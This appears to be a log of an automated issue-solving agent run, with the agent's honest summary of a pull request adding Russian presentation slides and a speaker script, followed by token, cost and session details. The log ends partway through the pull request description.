\"00-4e33bf22dd9500c3df975ec5497009b8-c2e2a9cf0f0390d2-01\",\n[2026-09-29T08:07:54.386Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:07:54.392Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:07:54.398Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:07:54.401Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:07:54.405Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:07:54.408Z] [STDOUT]   \"cf-ray\": \"a4297f052a7a5d90-FRA\",\n[2026-09-29T08:07:54.410Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:07:54.414Z] [STDOUT] [log_61c772] response parsed {\n[2026-09-29T08:07:54.419Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:07:54.421Z] [STDOUT]   status: 200,\n[2026-09-29T08:07:54.425Z] [STDOUT]   body: X {\n[2026-09-29T08:07:54.428Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:07:54.431Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:07:54.433Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:07:54.438Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:07:54.440Z] [STDOUT]     },\n[2026-09-29T08:07:54.442Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:07:54.444Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:07:54.446Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:07:54.451Z] [STDOUT]   },\n[2026-09-29T08:07:54.453Z] [STDOUT]   durationMs: 7303,\n[2026-09-29T08:07:54.455Z] [STDOUT] }\n[2026-09-29T08:07:56.718Z] [INFO] {\n[2026-09-29T08:07:56.718Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:07:56.718Z] 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CI passes on the latest commit, the branch is up to date with main, and there were no comments on the issue or the PR.\\n\\n**What's in the PR** (both documents in Russian, in `projects/ba-ai-process/docs/presentation/`):\\n- **Slides** (`2026-09-29-meta-model-presentation-slides.md`): 10 slides. Each has a headline stating the claim, 3\u20135 bullets, one highlighted quote or metric, a Midjourney/DALL-E prompt, and sources as full links. A table maps the seven topics the issue asked for to slides.\\n- **Speaker script** (`2026-09-29-meta-model-presentation-speaker-script.md`): uses the same slide numbers and titles. For each slide it gives timing, a goal, the talking points with the \\\"why\\\" and \\\"how\\\", and a transition line to the next slide. Around it are a short frame for the talk, including a list of claims not to make, and prepared answers to 11 questions a technical leader is likely to ask.\\n- **Story line:** it starts from the 69 runs and 583 commits in `mango_ba_prompts`. It shows the path from one big prompt, to 23 files, to rolled-back prompt edits, to admitting there were no evals, to the review of 67 runs, and finally to the meta-model. Slides 3\u20134 carry this, and the script repeats it.\\n- **Navigation:** I linked both documents from `projects/ba-ai-process/README.md`, added a CHANGELOG entry and removed the task's `.gitkeep`.\\n\\n**Fact-checking.** A second pass against the sources found errors in my first draft of the script, which I fixed before pushing:\\n- The four failure classes were named incorrectly; they now match the run-review document word for word.\\n- A \\\"three different structures\\\" claim was tied to the wrong task; it now cites the measurement on three completed runs.\\n- The security answer claimed read-only access to Jira and Confluence. That limit is currently only an organizational rule, because the Cline package's hook lets any MCP call through. The answer now says so.\\n- Two sources didn't support what they were cited for, in both documents. The 23-file split now links to commit `d8a4759`. The \\\"no evals\\\" statement now links to the `mango_ba_prompts` README instead of its changelog.\\n\\n**Tests.** All repository validators pass locally. So do the `tools/test-*.sh` scripts, once the package's pinned Python dependencies are installed.\\n\\n**Still open.** The PR description lists these gaps, a strategic risk and backlog suggestions:\\n- The slides include prompts only; no images have been generated.\\n- How well each document view is produced is not measured.\\n- A full end-to-end run on real tasks in both clients has not been done.\\n- The effort and cost of the server environment are not estimated.\\n- The strategic risk: guarantees exist today only for the automated Working \u2192 Release step, so the presentation must not say the whole process is deterministic.\"\n[2026-09-29T08:07:56.718Z] [INFO]       }\n[2026-09-29T08:07:56.718Z] [INFO]     ],\n[2026-09-29T08:07:56.718Z] [INFO]     \"container\": null,\n[2026-09-29T08:07:56.718Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:07:56.718Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:07:56.718Z] [INFO]     \"stop_details\": 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CI passes on the latest commit, the branch is up to date with main, and there were no comments on the issue or the PR.\\n\\n**What's in the PR** (both documents in Russian, in `projects/ba-ai-process/docs/presentation/`):\\n- **Slides** (`2026-09-29-meta-model-presentation-slides.md`): 10 slides. Each has a headline stating the claim, 3\u20135 bullets, one highlighted quote or metric, a Midjourney/DALL-E prompt, and sources as full links. A table maps the seven topics the issue asked for to slides.\\n- **Speaker script** (`2026-09-29-meta-model-presentation-speaker-script.md`): uses the same slide numbers and titles. For each slide it gives timing, a goal, the talking points with the \\\"why\\\" and \\\"how\\\", and a transition line to the next slide. Around it are a short frame for the talk, including a list of claims not to make, and prepared answers to 11 questions a technical leader is likely to ask.\\n- **Story line:** it starts from the 69 runs and 583 commits in `mango_ba_prompts`. It shows the path from one big prompt, to 23 files, to rolled-back prompt edits, to admitting there were no evals, to the review of 67 runs, and finally to the meta-model. Slides 3\u20134 carry this, and the script repeats it.\\n- **Navigation:** I linked both documents from `projects/ba-ai-process/README.md`, added a CHANGELOG entry and removed the task's `.gitkeep`.\\n\\n**Fact-checking.** A second pass against the sources found errors in my first draft of the script, which I fixed before pushing:\\n- The four failure classes were named incorrectly; they now match the run-review document word for word.\\n- A \\\"three different structures\\\" claim was tied to the wrong task; it now cites the measurement on three completed runs.\\n- The security answer claimed read-only access to Jira and Confluence. That limit is currently only an organizational rule, because the Cline package's hook lets any MCP call through. The answer now says so.\\n- Two sources didn't support what they were cited for, in both documents. The 23-file split now links to commit `d8a4759`. The \\\"no evals\\\" statement now links to the `mango_ba_prompts` README instead of its changelog.\\n\\n**Tests.** All repository validators pass locally. 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[INFO]   \"time_to_request_ms\": 162,\n[2026-09-29T08:07:56.892Z] [INFO]   \"first_content_frame_ms\": 1087,\n[2026-09-29T08:07:56.892Z] [INFO]   \"queued_turn_count\": 0,\n[2026-09-29T08:07:56.892Z] [INFO]   \"result_index\": 0\n[2026-09-29T08:07:56.892Z] [INFO] }\n[2026-09-29T08:07:56.903Z] [INFO] \ud83d\udccc Result event received, starting 30s stream close timeout (Issue #1280)\n[2026-09-29T08:07:56.908Z] [INFO] \ud83d\udcb0 Anthropic official cost captured from success result: $8.859691\n[2026-09-29T08:07:56.914Z] [INFO] \ud83d\udcdd Captured result summary from Claude output\n[2026-09-29T08:07:56.917Z] [INFO] \ud83d\udcca Session num_turns: 110\n[2026-09-29T08:07:59.527Z] [INFO] \u2705 Stream closed normally after result event\n[2026-09-29T08:07:59.600Z] [INFO] \n[2026-09-29T08:07:59.600Z] [INFO] \n[2026-09-29T08:07:59.600Z] [INFO] \u2705 Claude command completed\n[2026-09-29T08:07:59.649Z] [INFO] \ud83d\udcca Total messages: 497, Tool uses: 174\n[2026-09-29T08:08:02.353Z] [INFO] \n[2026-09-29T08:08:02.353Z] [INFO] \u2139\ufe0f  JSONL deduplication: skipped 109 duplicate entries so token totals stay correct (known upstream behaviour: anthropics/claude-code#87303)\n[2026-09-29T08:08:02.402Z] [INFO] \ud83d\udcca Peak restored-context input: 113 003 tokens\n[2026-09-29T08:08:02.425Z] [INFO] \n[2026-09-29T08:08:02.425Z] [INFO] \ud83d\udcb0 Token Usage Summary:\n[2026-09-29T08:08:02.460Z] [INFO] \ud83d\udcca Token data supplemented from result JSON for: claude-opus-5-5\n[2026-09-29T08:08:02.532Z] [INFO] \n[2026-09-29T08:08:02.532Z] [INFO]    \ud83d\udcca Claude Opus 5.5: (from result JSON)\n[2026-09-29T08:08:02.556Z] [INFO]       Model ID: claude-opus-5-5\n[2026-09-29T08:08:02.567Z] [INFO]       Provider: Anthropic\n[2026-09-29T08:08:02.598Z] [INFO]       Context window: 1 000 000 tokens\n[2026-09-29T08:08:02.628Z] [INFO]       Max output: 128 000 tokens\n[2026-09-29T08:08:02.638Z] [INFO]       Input modalities: text, image, pdf\n[2026-09-29T08:08:02.661Z] [INFO]       Output modalities: text\n[2026-09-29T08:08:02.668Z] [INFO]       Knowledge cutoff: 2026-06\n[2026-09-29T08:08:02.675Z] [INFO]       Released: 2026-09-22\n[2026-09-29T08:08:02.678Z] [INFO]       Capabilities: Attachments, Reasoning, Tool calls\n[2026-09-29T08:08:02.684Z] [INFO]       Open weights: No\n[2026-09-29T08:08:02.687Z] [INFO] \n[2026-09-29T08:08:02.697Z] [INFO]       Usage:\n[2026-09-29T08:08:02.700Z] [INFO]         Input tokens: 28 894\n[2026-09-29T08:08:02.707Z] [INFO]         Cache creation tokens: 563 069\n[2026-09-29T08:08:02.709Z] [INFO]         Cache read tokens: 10 600 693\n[2026-09-29T08:08:02.914Z] [INFO]         Output tokens: 147 601\n[2026-09-29T08:08:03.082Z] [INFO] \n[2026-09-29T08:08:03.141Z] [INFO]       Cost Calculation (USD):\n[2026-09-29T08:08:03.148Z] [INFO]         Input: 28 894 tokens \u00d7 $4/M = $0.115576\n[2026-09-29T08:08:03.151Z] [INFO]         Cache write (5m): 277 532 tokens \u00d7 $5/M = $1.387660\n[2026-09-29T08:08:03.156Z] [INFO]         Cache write (1h): 285 537 tokens \u00d7 $8/M = $2.284296\n[2026-09-29T08:08:03.159Z] [INFO]         Cache read: 10 600 693 tokens \u00d7 $0.2/M = $2.120139\n[2026-09-29T08:08:03.162Z] [INFO]         Output: 147 601 tokens \u00d7 $20/M = $2.952020\n[2026-09-29T08:08:03.165Z] [INFO]         \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n[2026-09-29T08:08:03.167Z] [INFO]         Total: $8.859691\n[2026-09-29T08:08:03.172Z] [INFO] \n[2026-09-29T08:08:03.172Z] [INFO]       \ud83d\udcca Context and tokens usage:\n[2026-09-29T08:08:03.176Z] [INFO]         1. 113 003 / 1 000 000 (11%) input tokens, 6 219 / 128 000 (5%) output tokens\n[2026-09-29T08:08:03.180Z] [INFO]         2. 107 752 / 1 000 000 (11%) input tokens, 41 835 / 128 000 (33%) output tokens\n[2026-09-29T08:08:03.183Z] [INFO]         3. 102 102 / 1 000 000 (10%) input tokens, 25 591 / 128 000 (20%) output tokens\n[2026-09-29T08:08:03.187Z] [INFO]         Total: (28 894 new + 563 069 cache writes + 10 600 693 cache reads) input tokens, 147 601 output tokens\n[2026-09-29T08:08:03.245Z] [INFO] \n[2026-09-29T08:08:03.245Z] [INFO]       \ud83d\udcca [budget-trace] Claude Opus 5.5\n[2026-09-29T08:08:03.254Z] [INFO]          peak input:      113 003 / 1 000 000 context (largest request input + cache_creation + cache_read)\n[2026-09-29T08:08:03.262Z] [INFO]          cumulative:      input 28 894, cache_write 563 069 (5m 0 / 1h 285 537), cache_read 10 600 693, output 147 601\n[2026-09-29T08:08:03.266Z] [INFO]          server tools:    web_search 0\n[2026-09-29T08:08:03.269Z] [INFO]          cost (public):   $8.859691\n[2026-09-29T08:08:03.273Z] [INFO]          cost (anthropic result-event): $8.859691\n[2026-09-29T08:08:03.277Z] [INFO]          sub-session count: 3\n[2026-09-29T08:08:03.310Z] [INFO]          data source:     jsonl + result-event\n[2026-09-29T08:08:03.345Z] [INFO] \n[2026-09-29T08:08:03.345Z] [INFO]    \ud83d\udcb0 Cost: $8.859691\n[2026-09-29T08:08:03.350Z] [INFO]       Total tokens: 739 564\n[2026-09-29T08:08:03.354Z] [INFO] \n[2026-09-29T08:08:03.354Z] [INFO] \ud83d\udca1 To continue this session:\n[2026-09-29T08:08:03.354Z] [INFO] \n[2026-09-29T08:08:03.360Z] [INFO]    Interactive mode:    (cd \"/tmp/gh-issue-solver-1790667776920\" && claude --resume f0ddf6ec-4316-44b3-b0ba-14367918e3de --model opus)\n[2026-09-29T08:08:03.360Z] [INFO] \n[2026-09-29T08:08:03.363Z] [INFO]    Autonomous mode:     (cd \"/tmp/gh-issue-solver-1790667776920\" && claude --resume f0ddf6ec-4316-44b3-b0ba-14367918e3de --output-format stream-json --dangerously-skip-permissions --model opus -p \"Continue.\")\n[2026-09-29T08:08:03.363Z] [INFO] \n[2026-09-29T08:08:03.940Z] [INFO] \n[2026-09-29T08:08:03.940Z] [INFO] \ud83d\udcca [DISK] phase=after_agent bytes=31109361 deltaBytes=299595 path=/tmp/gh-issue-solver-1790667776920 size=30 MB delta=+293 KB\n[2026-09-29T08:08:04.340Z] [INFO] \ud83d\udcc8 Resource usage (after AI execution):\n[2026-09-29T08:08:04.340Z] [INFO]    CPU load: 10.04 9.83 7.74 (6 CPUs)\n[2026-09-29T08:08:04.340Z] [INFO]    Memory: 8.3 GB available / 11.7 GB total (3.4 GB used)\n[2026-09-29T08:08:04.340Z] [INFO]    Process RSS: 136 MB, V8 heap: 53 MB used of 2.2 GB limit (2.4%)\n[2026-09-29T08:08:04.340Z] [INFO]    Disk (/): 97.7 GB available / 192.7 GB total (49.3% used)\n[2026-09-29T08:08:04.340Z] [INFO] \ud83d\udcc8 [RESOURCES] phase=after_agent ts=2026-09-29T08%3A08%3A04.089Z load1=10.04 load5=9.83 load15=7.74 cpuCount=6 memTotalBytes=12541485056 memAvailableBytes=8878116864 memUsedBytes=3663368192 processRssBytes=142393344 processHeapUsedBytes=55480792 processHeapTotalBytes=89653248 processExternalBytes=16597763 processHeapLimitBytes=2348810240 processHeapUsedPercent=2.3620806421552385 diskPath=%2F diskTotalBytes=206900281344 diskAvailableBytes=104853327872 diskUsedBytes=102030176256 diskUsedPercent=49.31369623725204 mem=8.3%20GB%20available%20%2F%2011.7%20GB%20total heap=53%20MB%20used%20of%202.2%20GB%20limit%20(2.4%25) disk=97.7%20GB%20available%20%2F%20192.7%20GB%20total\n[2026-09-29T08:08:04.536Z] [INFO] \n[2026-09-29T08:08:04.536Z] [INFO] \ud83d\udd0d Checking for uncommitted changes...\n[2026-09-29T08:08:04.636Z] [INFO] \u2705 No uncommitted changes found\n[2026-09-29T08:08:04.644Z] [INFO] \n[2026-09-29T08:08:04.644Z] [INFO] === Session Summary ===\n[2026-09-29T08:08:04.651Z] [INFO] \u2705 Session ID: f0ddf6ec-4316-44b3-b0ba-14367918e3de\n[2026-09-29T08:08:04.657Z] [INFO] \u2705 Complete log file: /home/box/f0ddf6ec-4316-44b3-b0ba-14367918e3de.log\n[2026-09-29T08:08:04.659Z] [INFO] \n[2026-09-29T08:08:04.666Z] [INFO] \ud83d\udca1 To continue this session:\n[2026-09-29T08:08:04.676Z] [INFO]    Interactive mode:    (cd \"/tmp/gh-issue-solver-1790667776920\" && claude --resume f0ddf6ec-4316-44b3-b0ba-14367918e3de --model opus)\n[2026-09-29T08:08:04.685Z] [INFO]    Autonomous mode:     (cd \"/tmp/gh-issue-solver-1790667776920\" && claude --resume f0ddf6ec-4316-44b3-b0ba-14367918e3de --output-format stream-json --dangerously-skip-permissions --model opus -p \"Continue.\")\n[2026-09-29T08:08:04.690Z] [INFO]    Solve resume mode:   \"/home/box/.nvm/versions/node/v24.21.0/bin/node\" \"/home/box/.bun/bin/solve\" \"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\" --resume \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\" --model \"opus\" --fallback-model \"opus-4-8\" --working-directory \"/tmp/gh-issue-solver-1790667776920\"\n[2026-09-29T08:08:04.699Z] [INFO] \n[2026-09-29T08:08:04.890Z] [INFO] \ud83d\udd0d Checking if AI created any comments during session (--auto-attach-solution-summary)...\n[2026-09-29T08:08:05.787Z] [INFO] \ud83d\udd0e Checking comments by 'konard' after session start 2026-09-29T07:43:18.552Z (PR #648, issue #646)\n[2026-09-29T08:08:06.535Z] [INFO]    \ud83d\udce8 PR conversation comments after session start by 'konard' (excluding tool-generated): 0\n[2026-09-29T08:08:07.190Z] [INFO]    \ud83d\udcdd PR review (inline) comments after session start by 'konard': 0\n[2026-09-29T08:08:07.873Z] [INFO]    \ud83d\udce8 Issue comments after session start by 'konard' (excluding tool-generated): 0\n[2026-09-29T08:08:07.879Z] [INFO] \ud83d\udcdd No AI comments detected, attaching working session summary...\n[2026-09-29T08:08:09.657Z] [INFO] \ud83d\udccf Working session summary folded into a \n block\n[2026-09-29T08:08:11.240Z] [INFO] \u2705 Working session summary attached to pr #648 (id=5886243874)\n[2026-09-29T08:08:11.249Z] [INFO] \n[2026-09-29T08:08:11.249Z] [INFO] \ud83d\udd0d Searching for created pull requests or comments...\n[2026-09-29T08:08:11.868Z] [INFO] \n[2026-09-29T08:08:11.868Z] [INFO] \ud83d\udd0d Checking for pull requests from branch issue-646-497e337ac092...\n[2026-09-29T08:08:12.558Z] [INFO]   \u2705 Found pull request #648: \"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\"\n[2026-09-29T08:08:13.424Z] [STDOUT] Closes #646\n\n## \u0427\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043d\u043e\n\u041f\u0430\u043a\u0435\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044e \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango. \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0430\u043c \u0441\u043b\u0430\u0439\u0434\u043e\u0432 (1\u201310) \u0438 \u043b\u0435\u0436\u0430\u0442 \u0432 `projects/ba-ai-process/docs/presentation/`.\n\n| \u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442 | \u0427\u0442\u043e \u0432\u043d\u0443\u0442\u0440\u0438 |\n|---|---|\n| [\u0428\u0430\u0431\u043b\u043e\u043d \u0441\u043b\u0430\u0439\u0434\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-646-497e337ac092/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md) | 10 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u0441\u0442\u0438\u043b\u0435 Assertion-Evidence. \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0441\u043b\u0430\u0439\u0434\u0430: \u043d\u043e\u043c\u0435\u0440, \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a, 3\u20135 \u0442\u0435\u0437\u0438\u0441\u043e\u0432, \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u0446\u0438\u0442\u0430\u0442\u0430 \u0438\u043b\u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0430, \u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f Midjourney/DALL-E \u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u043c\u0438 \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438. \u0415\u0441\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u00ab\u0441\u043c\u044b\u0441\u043b\u043e\u0432\u043e\u0439 \u0431\u043b\u043e\u043a \u0437\u0430\u0434\u0430\u0447\u0438 \u2192 \u0441\u043b\u0430\u0439\u0434\u00bb, \u043e\u0431\u0449\u0438\u0439 \u0441\u0442\u0438\u043b\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0438 \u043a\u0430\u0440\u0442\u0430 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 |\n| [\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-646-497e337ac092/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md) | \u0420\u0430\u043c\u043a\u0430 \u0432\u044b\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f: \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u044f, \u0445\u0440\u043e\u043d\u043e\u043c\u0435\u0442\u0440\u0430\u0436 \u043e\u043a\u043e\u043b\u043e 20 \u043c\u0438\u043d\u0443\u0442, \u043e\u0434\u043d\u0430 \u0433\u043b\u0430\u0432\u043d\u0430\u044f \u043c\u044b\u0441\u043b\u044c, \u0441\u043f\u0438\u0441\u043e\u043a \u0442\u043e\u0433\u043e, \u0447\u0435\u0433\u043e \u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c. \u041f\u043e \u043a\u0430\u0436\u0434\u043e\u043c\u0443 \u0441\u043b\u0430\u0439\u0434\u0443 \u2014 \u0432\u0440\u0435\u043c\u044f, \u0446\u0435\u043b\u044c, \u0442\u0435\u043a\u0441\u0442, \u00ab\u043f\u043e\u0447\u0435\u043c\u0443/\u043a\u0430\u043a\u00bb \u0438 \u043c\u043e\u0441\u0442\u0438\u043a \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443 \u0441\u043b\u0430\u0439\u0434\u0443. \u0411\u0430\u043d\u043a \u0438\u0437 11 \u043e\u0442\u0432\u0435\u0442\u043e\u0432 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f |\n| `projects/ba-ai-process/README.md` | \u0420\u0430\u0437\u0434\u0435\u043b \u00ab\u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430\u00bb \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438 \u043d\u0430 \u043e\u0431\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 |\n| `CHANGELOG.md` | \u0417\u0430\u043f\u0438\u0441\u044c \u0432 Unreleased / Added |\n\n\u041a\u0430\u043a \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u044b\u0435 \u0431\u043b\u043e\u043a\u0438 \u0437\u0430\u0434\u0430\u0447\u0438 \u043b\u0435\u0433\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u044b:\n\n| \u0411\u043b\u043e\u043a \u0437\u0430\u0434\u0430\u0447\u0438 | \u0421\u043b\u0430\u0439\u0434\u044b |\n|---|---|\n| \u0421\u043a\u043e\u0443\u043f | 1\u20132 |\n| \u0411\u043e\u043b\u044c | 3 |\n| \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | 4 |\n| \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192 \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | 5 |\n| \u041f\u0440\u043e\u0440\u044b\u0432: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043a\u0430\u043a \u0441\u0442\u0440\u043e\u0433\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b + \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0441 fail-closed | 6 |\n| \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 | 7 |\n| \u0421\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u043f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c (GigaCode CLI, Cline) \u2192 \u0421\u0440\u0435\u0434\u0430 4 | 8, 10 |\n| \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 | 9 |\n\n\u042d\u043c\u043f\u0438\u0440\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0431\u0430\u0437\u0430: 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 (RUN-0001\u2026RUN-0069, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430) \u0432 [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts). \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u0438\u0434\u0451\u0442 \u0442\u0430\u043a: \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u2192 23 \u0444\u0430\u0439\u043b\u0430 \u2192 \u043e\u0442\u043a\u0430\u0442 \u043f\u0440\u0430\u0432\u043e\u043a \u0432 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027 \u2192 \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u0438\u0435 \u00abevals \u043d\u0435\u0442\u00bb \u2192 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2192 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c. \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u2014 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u0438 `M-1 = 0.0`. \u042d\u0442\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 \u0441\u043b\u0430\u0439\u0434\u044b 3\u20134 \u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439.\n\n## \u041a\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0438\u0441\u044c \u0444\u0430\u043a\u0442\u044b\n- \u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u0432\u0435\u0434\u0451\u0442 \u043a \u0444\u0430\u0439\u043b\u0443-\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0443. \u0421\u0441\u044b\u043b\u043a\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435: \u043d\u0430 `main` \u044d\u0442\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0438 \u043d\u0430 `mango_ba_prompts`.\n- \u0426\u0438\u0442\u0430\u0442\u044b \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u044b\u0435: \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430, RUN-0018.\n- \u0412\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u043e\u0445\u043e\u0434 \u0441\u0432\u0435\u0440\u0438\u043b \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043f\u043e 